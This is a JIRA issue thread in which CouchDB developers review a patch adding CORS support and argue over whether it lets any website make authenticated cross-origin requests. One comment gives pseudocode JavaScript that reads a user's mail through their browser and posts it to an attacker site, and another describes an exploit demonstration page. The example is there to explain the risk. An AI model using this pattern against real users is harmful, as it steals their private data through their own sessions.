          8) I would get rid of set_preflight_headers/4 entirely. In preflight_cors_headers create PreflightHeaders0 after you get Origin1. Add

          {"Access-Control-ALlow-Headers", FinalReqHeaders}

          to PreflightHeaders0 in the last clause of the case and let PreflightHeaders be the result of the case. just call erlang:set/2 from there.

          mmm i like the separation in 2 funs here, easier to read, at least for
          me. But will see

          9) whitespace change at couch_httpd_db (-212, +247)

          didn't notice, thanks

          Show
          Benoit Chesneau added a comment - Thanks a lot for the review. I will update the patch later this morning (12:07am here) . Comments follow. 1) In check_origin/2, when * is in the AcceptOrigins would it be better to return * so that we send * in the "Access-Control-Allow-Origin" header? Since we return Access-Allow-Credentials header the spec says we should retutn the origin. WIthout it anyway authentication won't work. 2) could you pre-split Origin in check_origin/2 before passing it to check_origin1/2 so that we don't call mochiweb_util:urlsplit/1 repeatedly? ok 3) Makes sense to me to join check_origin/2 and check_origin1/2 into a single function. Use function guards to convert the accepted origins as you need them and to find the "*" case, avoids looping through the accepted origins twice (once for couch_util:to_list and once for lists:member). The problem is that someone could have put "*" anywhere in teh list. We want to test it first. 4) Typo in set_prefilight_headers/4, clause 2, capitalization in Access-Control-ALlow-Headers thanks will fix it The rest are mostly aesthetics: 5) set_prefilight_headers -> set_preflight_headers typo (extra i) will change that 6) You catch the case where erlang:get/1 in cors_headers/0 returns undefined, but that's impossible because you call set_default_cors_headers/0. It makes more sense to me to take out set_default_cors_headers/0 and just set the defaults in the undefined erlang:get/1 case. That means cors_headers/0 becomes cors_headers/1 and takes a mochiweb request record. 7) Move cors_headers/0 up near default_origin_headers/1 ok 8) I would get rid of set_preflight_headers/4 entirely. In preflight_cors_headers create PreflightHeaders0 after you get Origin1. Add {"Access-Control-ALlow-Headers", FinalReqHeaders} to PreflightHeaders0 in the last clause of the case and let PreflightHeaders be the result of the case. just call erlang:set/2 from there. mmm i like the separation in 2 funs here, easier to read, at least for me. But will see 9) whitespace change at couch_httpd_db (-212, +247) didn't notice, thanks
          Hide
          Randall Leeds added a comment -

          3) The problem is that someone could have put "*" anywhere in teh list. We want to test it first.

          Why does that matter? If we come across an explicit match before * isn't that fine, too?

          8) mmm i like the separation in 2 funs here, easier to read, at least for me. But will see Sounds good.

          Whichever way you want. No strong preference.

          Show
          Randall Leeds added a comment - 3) The problem is that someone could have put "*" anywhere in teh list. We want to test it first. Why does that matter? If we come across an explicit match before * isn't that fine, too? 8) mmm i like the separation in 2 funs here, easier to read, at least for me. But will see Sounds good. Whichever way you want. No strong preference.
          Hide
          Benoit Chesneau added a comment -

          right it doesn't really matter. will merge then.

          Show
          Benoit Chesneau added a comment - right it doesn't really matter. will merge then.
          Hide
          Jason Smith added a comment - - edited

          Benoit, love the patch. I originally developed _security object support but now I think it has several problems.

          CORS is fundamentally about which origin may query cross-site, and whether the query must be anonymous, or may be authenticated. The best model is to specify which domains (origins) Couch trusts, and to what degree (anonymous vs. authenticated).

          A couch app lives within CouchDB but not completely within a database. Global handlers are generally needed for couch apps (/, /_replicate, /_utils, _session, _uuids). For cross-domain Couch to be useful, the global handlers must have a compatible CORS policy as the database. _session is particularly important because if your session on couch has expired, the page on www.example.com needs a way to log you back in transparently.

          Applications can use multiple databases. Once CORS ships, I envision a Cambrian explosion of couch services and Javascript APIs to add couch features to any web page. Many apps will provide one database per user. Keeping _security synchronized will be one extra hurdle for developers to clear.

          Another developer hurdle is setting a DB _security "readers" (now called "members") value, but not allowing authenticated CORS requests (Access-Control-Allow-Credentials: false). That will force browsers to strip the Authorization and Cookie headers. The DB would be unavailable over CORS.

          Finally, CORS is security-sensitive. I would hate to ship an XSS security vulnerability. In your patch, set_default_cors_headers seems to set Access-Control-Allow-Origin: $your_origin; Access-Control-Allow-Credentials: true. Those headers mean that any site on the Internet can force any user to perform any query on the Couch, with their session cookie. That is probably undesired. I have not audited your patch completely so perhaps I am wrong.

          At this point, I wonder if you agree with me that DB _security settings could be omitted for this time, and perhaps added later?

          Show
          Jason Smith added a comment - - edited Benoit, love the patch. I originally developed _security object support but now I think it has several problems. CORS is fundamentally about which origin may query cross-site, and whether the query must be anonymous, or may be authenticated. The best model is to specify which domains (origins) Couch trusts, and to what degree (anonymous vs. authenticated). A couch app lives within CouchDB but not completely within a database. Global handlers are generally needed for couch apps (/, /_replicate, /_utils, _session, _uuids). For cross-domain Couch to be useful, the global handlers must have a compatible CORS policy as the database. _session is particularly important because if your session on couch has expired, the page on www.example.com needs a way to log you back in transparently. Applications can use multiple databases. Once CORS ships, I envision a Cambrian explosion of couch services and Javascript APIs to add couch features to any web page. Many apps will provide one database per user. Keeping _security synchronized will be one extra hurdle for developers to clear. Another developer hurdle is setting a DB _security "readers" (now called "members") value, but not allowing authenticated CORS requests (Access-Control-Allow-Credentials: false). That will force browsers to strip the Authorization and Cookie headers. The DB would be unavailable over CORS. Finally, CORS is security-sensitive. I would hate to ship an XSS security vulnerability. In your patch, set_default_cors_headers seems to set Access-Control-Allow-Origin: $your_origin; Access-Control-Allow-Credentials: true. Those headers mean that any site on the Internet can force any user to perform any query on the Couch, with their session cookie. That is probably undesired. I have not audited your patch completely so perhaps I am wrong. At this point, I wonder if you agree with me that DB _security settings could be omitted for this time, and perhaps added later?
          Hide
          Benoit Chesneau added a comment -

          Thanks for the review. Answers follow

          1. session is working even if the db is protected by readers. like any preflight request. I wrote the patch like that

          2. Actually the patch works with a db protected against readers. If you are authenticated, a CORS request will works,. Allows-credentials is always True in couch, we always test credentials and cookies internally anyway. You can test it with test_cors2 /../cors2.html

          3. Security: The patch actually means that we accept from any connections on a db except you filter origins in a db. If you filter origin a db will only be accessed by this origin. It won't increase risks, since then an ajax client is just considered like any HTTP client. If you already have some exploits then they are already feasible with any http client that doesn't care about cross domain which is only a browser things. I don't see any other way to bypass our small security.

          If you want a better protections, some modules can be added to couch, couch_throttle, filtering users depending on the referrer or hosts, etc...I have some if you are interested

          4. Applications and multiples db. That's not how the system was designed until now (and you will have other problem to handle before to go on origin sync). I can see that happen however, but I don't see the real problem of keeping dbs origins synchronized. Also what if your db is dispatched on multiple hosts. This isn't really a problem I think.

          I would like to keep db origin filtering, it actually works well with the current couchdb design. If we want more granularity we can discuss it and add it later imo. There are a lot to do on that part, but that's another debate and ticket imo

          Show
          Benoit Chesneau added a comment - Thanks for the review. Answers follow 1. session is working even if the db is protected by readers. like any preflight request. I wrote the patch like that 2. Actually the patch works with a db protected against readers. If you are authenticated, a CORS request will works,. Allows-credentials is always True in couch, we always test credentials and cookies internally anyway. You can test it with test_cors2 /../cors2.html 3. Security: The patch actually means that we accept from any connections on a db except you filter origins in a db. If you filter origin a db will only be accessed by this origin. It won't increase risks, since then an ajax client is just considered like any HTTP client. If you already have some exploits then they are already feasible with any http client that doesn't care about cross domain which is only a browser things. I don't see any other way to bypass our small security. If you want a better protections, some modules can be added to couch, couch_throttle, filtering users depending on the referrer or hosts, etc...I have some if you are interested 4. Applications and multiples db. That's not how the system was designed until now (and you will have other problem to handle before to go on origin sync). I can see that happen however, but I don't see the real problem of keeping dbs origins synchronized. Also what if your db is dispatched on multiple hosts. This isn't really a problem I think. I would like to keep db origin filtering, it actually works well with the current couchdb design. If we want more granularity we can discuss it and add it later imo. There are a lot to do on that part, but that's another debate and ticket imo
          Hide
          Benoit Chesneau added a comment -

          improved patch wich take in considerations randall's comments:

          • cors specific functions have been moved to couch_httpd_cors module. couch_httpd is already enough big.
          • check_origin1 and check_origin functions have been merged in 1 function. The origin is also splitted only once time.
          • fix typos
          • remove the set_preflight_headers function

          Tested on safari, chrome & firefox. ok ?

          Show
          Benoit Chesneau added a comment - improved patch wich take in considerations randall's comments: cors specific functions have been moved to couch_httpd_cors module. couch_httpd is already enough big. check_origin1 and check_origin functions have been merged in 1 function. The origin is also splitted only once time. fix typos remove the set_preflight_headers function Tested on safari, chrome & firefox. ok ?
          Hide
          Randall Leeds added a comment -

          I haven't checked the test suite but the patch looks great now. Thanks, Benoit! I like that putting that in a separate module and it's all much easier to read now.
          If you don't mind holding off a little bit longer, I'd just like to digest Jason's concerns since I was mostly reviewing style and performance rather than security and proper specification. I'll follow up with him on IRC.

          Show
          Randall Leeds added a comment - I haven't checked the test suite but the patch looks great now. Thanks, Benoit! I like that putting that in a separate module and it's all much easier to read now. If you don't mind holding off a little bit longer, I'd just like to digest Jason's concerns since I was mostly reviewing style and performance rather than security and proper specification. I'll follow up with him on IRC.
          Hide
          Benoit Chesneau added a comment -

          Jason, Randall did you manage to get further? I don't see any real issue right now (not more than we could have with any http client). Except you really find something I think it's safe to put it in trunk to let people to test it. thoughts?

          Show
          Benoit Chesneau added a comment - Jason, Randall did you manage to get further? I don't see any real issue right now (not more than we could have with any http client). Except you really find something I think it's safe to put it in trunk to let people to test it. thoughts?
          Hide
          Adam Kocoloski added a comment -

          I'm trying to digest this patch and finding it a bit difficult. I understand the motivation behind the use of the process dictionary, but I think the function names don't make it obvious which ones are mutating the cors_headers. Reading the patch I think that list is:

          couch_httpd_cors:set_default_headers/1
          couch_httpd_cors:preflight_headers/2
          couch_httpd_cors:db_check_origin/2

          and the basic gist is, 1) reset cors_headers at the start of request processing, 2) if the request method is OPTIONS, advertise the capabilities using the preflight_headers functions, 3) else, check the Origin against the list of allowed Origins specified in the _security object.

          If I'm reading this correctly, the cors_headers that db_check_origin/2 sets on a successful match are already set by set_default_headers/1 in the beginning of the request processing. I guess it doesn't hurt to be explicit.

          What's the rationale for splitting the headers into SimpleHeaders and CouchHeaders in the preflight_headers function? It seems to be purely cosmetic. I don't know what criteria were used for including headers in that list, but I'm guessing X-Upondata-Api-Key was included inadvertently I don't recognize X-Couch-Auth-Key either.

          I think this is one patch where we need a pretty thorough commit message describing the feature.

          Show
          Adam Kocoloski added a comment - I'm trying to digest this patch and finding it a bit difficult. I understand the motivation behind the use of the process dictionary, but I think the function names don't make it obvious which ones are mutating the cors_headers. Reading the patch I think that list is: couch_httpd_cors:set_default_headers/1 couch_httpd_cors:preflight_headers/2 couch_httpd_cors:db_check_origin/2 and the basic gist is, 1) reset cors_headers at the start of request processing, 2) if the request method is OPTIONS, advertise the capabilities using the preflight_headers functions, 3) else, check the Origin against the list of allowed Origins specified in the _security object. If I'm reading this correctly, the cors_headers that db_check_origin/2 sets on a successful match are already set by set_default_headers/1 in the beginning of the request processing. I guess it doesn't hurt to be explicit. What's the rationale for splitting the headers into SimpleHeaders and CouchHeaders in the preflight_headers function? It seems to be purely cosmetic. I don't know what criteria were used for including headers in that list, but I'm guessing X-Upondata-Api-Key was included inadvertently I don't recognize X-Couch-Auth-Key either. I think this is one patch where we need a pretty thorough commit message describing the feature.
          Hide
          Benoit Chesneau added a comment -

          Hi Adam, thanks for the review,

          You're correct, the process is :

          1) set default cors headers
          2) on OPTION check asked capabilities and eventually return preflight headers. At this steps CORS headers can be [] (capability not handled or the list preflight headers like the spec require.
          3) on db , we check origin header in a list of origin. Eventually we reset cors headers to null if the origin isn't supported

          I will remove my custom headers, sorry for that. Maybe at some point we could allow people to add their own header via the settings.

          About Simple and Couch that's mostly to distinct them, simple headers are defined by the spec. But I could join them. I don't know what's the best for that. I will push the patch later tonight with above fixes and doc.

          • benoit
          Show
          Benoit Chesneau added a comment - Hi Adam, thanks for the review, You're correct, the process is : 1) set default cors headers 2) on OPTION check asked capabilities and eventually return preflight headers. At this steps CORS headers can be [] (capability not handled or the list preflight headers like the spec require. 3) on db , we check origin header in a list of origin. Eventually we reset cors headers to null if the origin isn't supported I will remove my custom headers, sorry for that. Maybe at some point we could allow people to add their own header via the settings. About Simple and Couch that's mostly to distinct them, simple headers are defined by the spec. But I could join them. I don't know what's the best for that. I will push the patch later tonight with above fixes and doc. benoit
          Hide
          Adam Kocoloski added a comment -

          Hi Benoit, thanks for the clarification. That Simple header list doesn't quite seem to correspond to the lists from the W3C spec, but ok.

          I agree that a method for customizing allowable headers would be good. I wonder if we should future-proof this a bit by using cors.origins or xhr.origins instead of a top-level origins key in the security object?

          Show
          Adam Kocoloski added a comment - Hi Benoit, thanks for the clarification. That Simple header list doesn't quite seem to correspond to the lists from the W3C spec, but ok. I agree that a method for customizing allowable headers would be good. I wonder if we should future-proof this a bit by using cors.origins or xhr.origins instead of a top-level origins key in the security object?
          Hide
          Benoit Chesneau added a comment -

          new version of the patch.

          • Remove headers added accidentally
          • Join headers iin a macro as one list instead of separating them in 2 variables (Simple & Couch). List is commented to still distinct these headers.
          • Add the possibility to customize custom headers if needed via settings.
          • document module.
          • prepare commit message

          @adam any reason to change the origin member in the secobj?

          ok?

          Show
          Benoit Chesneau added a comment - new version of the patch. Remove headers added accidentally Join headers iin a macro as one list instead of separating them in 2 variables (Simple & Couch). List is commented to still distinct these headers. Add the possibility to customize custom headers if needed via settings. document module. prepare commit message @adam any reason to change the origin member in the secobj? ok?
          Hide
          Jason Smith added a comment -

          Example page demonstrating how to exploit CORS to gain privileged access to a couch. Instructions:

          1. Log in to couch A, e.g. http://localhost:5984/_utils
          2. Load this file in your browser from a different origin, e.g. http://jhs.iriscouch.com/files/cors/index.html
          3. Enter Couch A's URL in the form and press Go

          The simulated malicious page can query your couch with your full rights and privileges. If it notices that you are the admin, it creates a database and then a design doc that rejects all commits.

          This demonstrates that, as-is, this patch makes CouchDB vulnerable to any third-party site. The third-party site can query CouchDB freely, using the authenticated identity of the visitor to the site.

          I will try to convert this to proper unit tests and build a subsequent patch which avoids this bug.

          Show
          Jason Smith added a comment - Example page demonstrating how to exploit CORS to gain privileged access to a couch. Instructions: 1. Log in to couch A, e.g. http://localhost:5984/_utils 2. Load this file in your browser from a different origin, e.g. http://jhs.iriscouch.com/files/cors/index.html 3. Enter Couch A's URL in the form and press Go The simulated malicious page can query your couch with your full rights and privileges. If it notices that you are the admin, it creates a database and then a design doc that rejects all commits. This demonstrates that, as-is, this patch makes CouchDB vulnerable to any third-party site. The third-party site can query CouchDB freely, using the authenticated identity of the visitor to the site. I will try to convert this to proper unit tests and build a subsequent patch which avoids this bug.
          Hide
          Benoit Chesneau added a comment -

          This is just expected behavior when you reuest credentials. You can
          block this "exploit" by setting the origins you want to accept in the
          db security object. I'm not sure this is really an issue here. web is
          based on trust by nature.

          Anyway we can add the following features :

          • making cors optionnal via a setting
          • block by default credentials on /db/* except if origins on a db is
            set. Have a setting that would allows people to bypass this setting

          I will proposea patch that does that in coming hours. Would it solve
          your expectations?

          Show
          Benoit Chesneau added a comment - This is just expected behavior when you reuest credentials. You can block this "exploit" by setting the origins you want to accept in the db security object. I'm not sure this is really an issue here. web is based on trust by nature. Anyway we can add the following features : making cors optionnal via a setting block by default credentials on /db/* except if origins on a db is set. Have a setting that would allows people to bypass this setting I will proposea patch that does that in coming hours. Would it solve your expectations?
          Hide
          Jason Smith added a comment -

          CORS is about cross-site security. Which origins should CouchDB trus? Which third-party sites may query Couch through their users' browser and with their users' credentials? The answer is clear: none of them, except by explicit permission.

          Setting DB _security is not sufficient. CouchDB should be secure by default. But the latest patch permits (forces!) authenticated queries from every origin.

          Even with _security, foreign sites might access /_config, /_status, /_restart, and /_log. Any site on the web might guess your Couch URL (localhost:5984 and well-known cloud couches perhaps) and query it as you. If you logged in as admin (naughty!) then they can edit /_config. If you logged in as a user, they can at least check /_all_dbs and probe for an unprotected DB (one with the default config).

          None of this should be possible, and that is why my 3-month-old patch takes the following precautions:

          1. Disabled by default
          2. Simple configuration model: which origins do you trust? Put them on the whitelist.
          3. Subsequent versions (whoops, not attached) disallow all cross-origin admin queries. verify_is_server_admin/1 always fails if an "Origin" header is present.

          Show
          Jason Smith added a comment - CORS is about cross-site security. Which origins should CouchDB trus? Which third-party sites may query Couch through their users' browser and with their users' credentials? The answer is clear: none of them, except by explicit permission. Setting DB _security is not sufficient. CouchDB should be secure by default. But the latest patch permits (forces!) authenticated queries from every origin. Even with _security, foreign sites might access /_config, /_status, /_restart, and /_log. Any site on the web might guess your Couch URL (localhost:5984 and well-known cloud couches perhaps) and query it as you. If you logged in as admin (naughty!) then they can edit /_config. If you logged in as a user, they can at least check /_all_dbs and probe for an unprotected DB (one with the default config). None of this should be possible, and that is why my 3-month-old patch takes the following precautions: 1. Disabled by default 2. Simple configuration model: which origins do you trust? Put them on the whitelist. 3. Subsequent versions (whoops, not attached) disallow all cross-origin admin queries. verify_is_server_admin/1 always fails if an "Origin" header is present.
          Hide
          Benoit Chesneau added a comment - - edited

          That's not what the patch does. What's the patch does is accepting by default to send credentials. Which is basically what the couch api does with any client. You keep considering ajax as different as an http client is. It isn't. https is here to solve most of what you actually worries.

          Second, is that you can disabled auth per db. Just again how our api works. You can set roles after etc. _restart and _config are already handled by couch auth (who really want to expose that in production anyway, that's really a bad idea if you want to make things really secure ...).

          I agree we could eventually disable_admins but that should be an option. CORS is not only used to allows someone to put some data on the web. CORS can be used to externalized admin applications. Just like you can do with elasticsearch and I want to be abble to run my own futon or logging tool outside of couch. Again you can already disable admins paer dbs too.

          New feature coming in the patch

          • making cors optionnal via a setting
          • block by default credentials on /db/* except if origins on a db is
            set. Have a setting that would allows people to bypass this setting

          and now I'm adding this admin stuff.

          CORS can have different uses than you expect in iriscouch or whatever is your business.

          Third. CORS isn't about security. It means Cross-Origin Resource Sharing . We shouldn't forget that.

          Finally , just some word about the spec. CORS request processing is following:

          1. check if Origin header is present
          2. Split the value of the Origin header on the U+0020 SPACE character and if any of the resulting tokens is not a case-sensitive match for any of the values in list of origins do not set any additional headers and terminate this set of steps.
          3. *If the resource supports credentials* add a single Access-Control-Allow-Origin header, with the value of the Origin header as value, and add a single Access-Control-Allow-Credentials header with the literal string "true" as value.
          4. If the resource wants to expose more than just simple response headers to the API of the CORS API specification add one or more Access-Control-Expose-Headers headers, with as values the filed names of the additional headers to expose.

          http://www.w3.org/TR/cors/

          That what the patch does. Nohing much. The same for preflight request. The tricky part is that you have to accept credentials if you want that at some point your preflight request goes in your db authentication checking. That's why it's accepted for OPTION . If the origin isn't accepted however credentials aren't accepted (this is again what the spec says).

          Now what I propose and the patch is quite ready. I'm just in a busy week-end with no devs on this machine but it is coming on monday when i'm back with descent network:

          1. disallow any credentials request
          2. optional setting allowing the credential check working differently. The patch considers anyone can auth but let you black list origins (which what the spec recommend). Patch still allows you to do that but also allows you to disable credentials except if you set a lits of origis per dbs, ie do whitelisting.
          3. making cors optionnal.

          The idea is to have cors working per db, having settings in a config fle doesn't really works when you work in a distributed world.

          Hope it helps to clarify intention of the patch and how I wish we implement CORS. I really don't want to considers CORS as a security thing, but as a cross origin resource sharing technology.

          Show
          Benoit Chesneau added a comment - - edited That's not what the patch does. What's the patch does is accepting by default to send credentials. Which is basically what the couch api does with any client. You keep considering ajax as different as an http client is. It isn't. https is here to solve most of what you actually worries. Second, is that you can disabled auth per db. Just again how our api works. You can set roles after etc. _restart and _config are already handled by couch auth (who really want to expose that in production anyway, that's really a bad idea if you want to make things really secure ...). I agree we could eventually disable_admins but that should be an option. CORS is not only used to allows someone to put some data on the web. CORS can be used to externalized admin applications. Just like you can do with elasticsearch and I want to be abble to run my own futon or logging tool outside of couch. Again you can already disable admins paer dbs too. New feature coming in the patch making cors optionnal via a setting block by default credentials on /db/* except if origins on a db is set. Have a setting that would allows people to bypass this setting and now I'm adding this admin stuff. CORS can have different uses than you expect in iriscouch or whatever is your business. Third. CORS isn't about security. It means Cross-Origin Resource Sharing . We shouldn't forget that. Finally , just some word about the spec. CORS request processing is following: 1. check if Origin header is present 2. Split the value of the Origin header on the U+0020 SPACE character and if any of the resulting tokens is not a case-sensitive match for any of the values in list of origins do not set any additional headers and terminate this set of steps. 3. * If the resource supports credentials * add a single Access-Control-Allow-Origin header, with the value of the Origin header as value, and add a single Access-Control-Allow-Credentials header with the literal string "true" as value. 4. If the resource wants to expose more than just simple response headers to the API of the CORS API specification add one or more Access-Control-Expose-Headers headers, with as values the filed names of the additional headers to expose. http://www.w3.org/TR/cors/ That what the patch does. Nohing much. The same for preflight request. The tricky part is that you have to accept credentials if you want that at some point your preflight request goes in your db authentication checking. That's why it's accepted for OPTION . If the origin isn't accepted however credentials aren't accepted (this is again what the spec says). Now what I propose and the patch is quite ready. I'm just in a busy week-end with no devs on this machine but it is coming on monday when i'm back with descent network: 1. disallow any credentials request 2. optional setting allowing the credential check working differently. The patch considers anyone can auth but let you black list origins (which what the spec recommend). Patch still allows you to do that but also allows you to disable credentials except if you set a lits of origis per dbs, ie do whitelisting. 3. making cors optionnal. The idea is to have cors working per db, having settings in a config fle doesn't really works when you work in a distributed world. Hope it helps to clarify intention of the patch and how I wish we implement CORS. I really don't want to considers CORS as a security thing, but as a cross origin resource sharing technology.
          Hide
          Robert Newson added a comment -

          I can't comment on the patch right now but I do want to dispute " really don't want to considers CORS as a security thing".

          Clearly CORS has security implications, it's about access control. Further, the spec has much to say on security considerations. That said, it's a replacement for JSONP which also has security implications.

          I think this should land in 1.3 rather than 1.2 as we've already branched.

          (P.S anyone else having issues typing in JIRA comment windows? Something keeps removing focus from the edit box when I'm typing)

          Show
          Robert Newson added a comment - I can't comment on the patch right now but I do want to dispute " really don't want to considers CORS as a security thing". Clearly CORS has security implications, it's about access control. Further, the spec has much to say on security considerations. That said, it's a replacement for JSONP which also has security implications. I think this should land in 1.3 rather than 1.2 as we've already branched. (P.S anyone else having issues typing in JIRA comment windows? Something keeps removing focus from the edit box when I'm typing)
          Hide
          Benoit Chesneau added a comment -

          Having security implications and considering it as a security thing is different... Maybe my french failed here.

          What the spec describe is a way to allows or forbid cross origin requests on resources. Security is another topic.

          What the spec says about security is is already implemented in current diff anyway:

          http://www.w3.org/TR/cors/#resource-security

          And like I said, it strongly encourages to use ssl.

          Show
          Benoit Chesneau added a comment - Having security implications and considering it as a security thing is different... Maybe my french failed here. What the spec describe is a way to allows or forbid cross origin requests on resources. Security is another topic. What the spec says about security is is already implemented in current diff anyway: http://www.w3.org/TR/cors/#resource-security And like I said, it strongly encourages to use ssl.
          Hide
          Jan Lehnardt added a comment -

          @Robert, Benoit raised this to be proposed for 1.2.x before the branching. No saying it should wait because we branched is not fair

          Pending that we solve any issues with this.

          The "whether there are security implications" sounds superfluous to me, vhosts e.g. is not about security, but it does have security implications when used wrongly. If CORS has any of this, we a) need to make sure it is properly documented and b) probably prefer to ship off by default which I think is happening here.

          (PS. sometimes happens when I accidentally the trackpad while typing)

          Show
          Jan Lehnardt added a comment - @Robert, Benoit raised this to be proposed for 1.2.x before the branching. No saying it should wait because we branched is not fair Pending that we solve any issues with this. The "whether there are security implications" sounds superfluous to me, vhosts e.g. is not about security, but it does have security implications when used wrongly. If CORS has any of this, we a) need to make sure it is properly documented and b) probably prefer to ship off by default which I think is happening here. (PS. sometimes happens when I accidentally the trackpad while typing)
          Hide
          Benoit Chesneau added a comment - - edited

          To be clear next version of this patch will handle black or white listing, be disabled by default and will allow to disallow any admins actions via cors if the settings is set. So it should address any concerns here I think. WIll push that on monday.

          Show
          Benoit Chesneau added a comment - - edited To be clear next version of this patch will handle black or white listing, be disabled by default and will allow to disallow any admins actions via cors if the settings is set. So it should address any concerns here I think. WIll push that on monday.
          Hide
          Alex Chaffee added a comment -

          "CORS isn't about security. It means Cross-Origin Resource Sharing . We shouldn't forget that."

          True! As I said back in May[1]. Admittedly this is a nuanced distinction, but if you think it's about security, then you misunderstand either what CORS is or what security means.

          [1] "it's not hard security, just a message from the server that tells the client "here's the data, and here's a hint about how I think you should use it" (which hint is ignored by everybody except web browsers)." - comment 13041182

          I haven't looked at the patch code yet but if you do a whitelist please make sure it is disableable, or at least that it supports all variations of localhost (127.0.0.1, 0.0.0.0, file:///...) since I'd like to use CouchDB as a store for a Chrome browser plugin (with couch and browser running on the same machine).

          Show
          Alex Chaffee added a comment - "CORS isn't about security. It means Cross-Origin Resource Sharing . We shouldn't forget that." True! As I said back in May [1] . Admittedly this is a nuanced distinction, but if you think it's about security, then you misunderstand either what CORS is or what security means. [1] "it's not hard security, just a message from the server that tells the client "here's the data, and here's a hint about how I think you should use it" (which hint is ignored by everybody except web browsers)." - comment 13041182 I haven't looked at the patch code yet but if you do a whitelist please make sure it is disableable, or at least that it supports all variations of localhost (127.0.0.1, 0.0.0.0, file:/// ...) since I'd like to use CouchDB as a store for a Chrome browser plugin (with couch and browser running on the same machine).
          Hide
          Jason Smith added a comment -

          CORS bugs allow cross-site request forgery (XSRF) attacks--the most dangerous threat on the Web.

          IMHO, to say "CORS is not about security" is to disqualify one from making an implementation.

          CORS is a three-body problem:

          1. Client = browser
          2. Server = couch
          3. Origin = site the browser is on, a tuple

          {protocol, hostname, port}

          , e.g. http://www.naked-ladies.com:80

          The word "sharing" sounds nice and friendly. It reminds me of kindergarten. That word is misleading.

          Attention Couch developers and administrators: naked-ladies.com and every other site on the Web is, even now, attacking your couch, fetching and storing data, and they have ALL OF YOUR USERS' session cookies.

          naked-ladies.com does this by attracting visitors to their site, and sending Javascript to the browsers to perform their attacks for them. Your ONLY protection is that browsers will not (generally) query to a different domain. With CORS, browsers will query, but only if the couch tells them it is okay. We are seriously playing with fire here.

          Databases are not characters in this story. Per-database CORS settings
          make as much sense as per-database user accounts. Practically, syncing _security objects between multiple databases will be a complete nightmare. And, it presents a race condition where cross-origin policies are incorrect between DB create and _security updates.) But what about /_session? How come www.origin.com can access /origins_db/ but once your session times out, it can't reconnect? How come it can't fetch some /_uuids?

          Show
          Jason Smith added a comment - CORS bugs allow cross-site request forgery (XSRF) attacks--the most dangerous threat on the Web. IMHO, to say "CORS is not about security" is to disqualify one from making an implementation. CORS is a three-body problem: 1. Client = browser 2. Server = couch 3. Origin = site the browser is on, a tuple {protocol, hostname, port} , e.g. http://www.naked-ladies.com:80 The word "sharing" sounds nice and friendly. It reminds me of kindergarten. That word is misleading. Attention Couch developers and administrators: naked-ladies.com and every other site on the Web is, even now, attacking your couch, fetching and storing data, and they have ALL OF YOUR USERS' session cookies. naked-ladies.com does this by attracting visitors to their site, and sending Javascript to the browsers to perform their attacks for them. Your ONLY protection is that browsers will not (generally) query to a different domain. With CORS, browsers will query, but only if the couch tells them it is okay. We are seriously playing with fire here. Databases are not characters in this story. Per-database CORS settings make as much sense as per-database user accounts. Practically, syncing _security objects between multiple databases will be a complete nightmare. And, it presents a race condition where cross-origin policies are incorrect between DB create and _security updates.) But what about /_session? How come www.origin.com can access /origins_db/ but once your session times out, it can't reconnect? How come it can't fetch some /_uuids?
          Hide
          Jason Smith added a comment -

          Let's pretend all the cross-origin stuff does not exist. What is the
          problem with the web? The problem is when you go to pretty-ladies.com
          they can send you Javascript like this:

          // Converted basically to pseudocode Javascript for clarity.
          var randalls_mail =
          $.ajax("https://mail.google.com/randall/_all_docs?include_docs=true");
          $.ajax("http://pretty-ladies.com/getEmail.php",

          {"body":randalls_mail}

          );

          Your browser has a good cookie, GMail says, "Shit! That's Randall.
          Send him his emails." pretty-ladies.com never knew your password or
          cookie but they tricked your browser into sending them all the mail.

          So, let's invent a same-origin policy. Browsers will only ajax to the
          ORIGIN of the web page. That is today's web. When pretty-ladies.com
          tells your browser to hit GMail, your browser tells pretty-ladies.com
          no.

          Unfortunately, now I can't query pdxapi.com except when I am *on*
          pdxapi.com. That's stupid. How come Reed College can't do this?

          <!-- Reed College web site -->
          <script src="http://pdxapi.com/pdxapi.js"></script>

          var position = navigator.geolocation.getCurrentPosition();
          var beers = PDX.find(

          {"pos":position, "type":"free_beer", "distance":"walking"}

          );
          if(beers.length >= 6)
          $('beers').append("You could get pretty drunk where you are");

          if(user.options.publish_location) {
          PDX.publish_location(

          {"user":user.name, "pos":position}

          );
          $('people').append("Expect nerds to accost you soon");
          }

          It's too bad that pdxapi.com can't say "I trust the code on reed.edu.
          I wish their users could query my couch." That is why they invented
          CORS.

          It does not protect my data from your user. It protects YOUR OWN data
          from YOUR OWN web browser when the browser is NOT on your site.

          Show
          Jason Smith added a comment - Let's pretend all the cross-origin stuff does not exist. What is the problem with the web? The problem is when you go to pretty-ladies.com they can send you Javascript like this: // Converted basically to pseudocode Javascript for clarity. var randalls_mail = $.ajax("https://mail.google.com/randall/_all_docs?include_docs=true"); $.ajax("http://pretty-ladies.com/getEmail.php", {"body":randalls_mail} ); Your browser has a good cookie, GMail says, "Shit! That's Randall. Send him his emails." pretty-ladies.com never knew your password or cookie but they tricked your browser into sending them all the mail. So, let's invent a same-origin policy. Browsers will only ajax to the ORIGIN of the web page. That is today's web. When pretty-ladies.com tells your browser to hit GMail, your browser tells pretty-ladies.com no. Unfortunately, now I can't query pdxapi.com except when I am * on * pdxapi.com. That's stupid. How come Reed College can't do this? <!-- Reed College web site --> <script src="http://pdxapi.com/pdxapi.js"></script> var position = navigator.geolocation.getCurrentPosition(); var beers = PDX.find( {"pos":position, "type":"free_beer", "distance":"walking"} ); if(beers.length >= 6) $('beers').append("You could get pretty drunk where you are"); if(user.options.publish_location) { PDX.publish_location( {"user":user.name, "pos":position} ); $('people').append("Expect nerds to accost you soon"); } It's too bad that pdxapi.com can't say "I trust the code on reed.edu. I wish their users could query my couch." That is why they invented CORS. It does not protect my data from your user. It protects YOUR OWN data from YOUR OWN web browser when the browser is NOT on your site.
          Hide
          Jason Smith added a comment -

          Stop talking about CORS being disabled by default. What an ignorant thing to say!

          When disabled, Benoit's patch leaves Couch unchanged.

          When enabled, every site on the Web can query your couch with your users' credentials. Why in God's name would anybody ever enable CORS then?

          Here stands an exploit clearly demonstrating this fact. I invite anybody interested to apply the patch and play with my exploit. To say it "implements the spec" is to miss the point.

          Show
          Jason Smith added a comment - Stop talking about CORS being disabled by default. What an ignorant thing to say! When disabled, Benoit's patch leaves Couch unchanged. When enabled, every site on the Web can query your couch with your users' credentials. Why in God's name would anybody ever enable CORS then? Here stands an exploit clearly demonstrating this fact. I invite anybody interested to apply the patch and play with my exploit. To say it "implements the spec" is to miss the point.
          Hide
          Noah Slater added a comment -

